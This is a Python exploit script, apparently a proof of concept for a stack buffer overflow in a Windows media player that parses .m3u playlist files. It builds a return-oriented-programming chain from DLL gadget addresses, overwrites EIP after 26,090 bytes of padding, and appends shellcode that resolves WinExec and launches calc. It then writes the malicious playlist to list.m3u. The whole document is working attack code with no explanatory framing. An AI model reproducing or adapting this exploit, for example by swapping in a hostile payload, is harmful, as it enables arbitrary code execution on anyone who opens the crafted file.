import struct
def create_rop_chain():
rop_gadgets = [
0x41414141,
0x41414141,
0x41414141,
0x10025a1c,
0x1002bc3d,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc4c,
0x41414141,
0x1002dc24,
0x41414141,
0x1002dc41,
0x41414141,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x1001d2ac,
0x10023327,
0x10023327,
0x10023327,
0x1001a788,
0x41414141,
0x41414141,
0x41414141,
0x1001bf0d,
0x41414141,
0x10026d56,
0x10032078,
0x1002e0c8,
0x1001a788,
0x41414141,
0x41414141,
0x41414141,
0x10027c5a,
0x1001b058,
0x1002b93e,
0xfffffffb,
0x1001d2ac,
0x10023327,
0x10023327,
0x1001bdee,
0x41414141,
0x41414141,
0x10029f74,
0xffffffff,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002dd3e,
0x1002bc6a,
0x1001c121,
0x10026f2b,
0x10024004,
0x1002bc07
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
buffersize = 26090
junk = "A" * buffersize
eip = '\x85\x22\x01\x10'
rop = create_rop_chain()
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
shell = "\x90"*0x10 + calc
exploit = junk + eip + rop + shell + 'C' * (1000-len(rop)-len(shell))
filename = "list.m3u"
textfile = open(filename , 'w')
textfile.write(exploit)
textfile.close()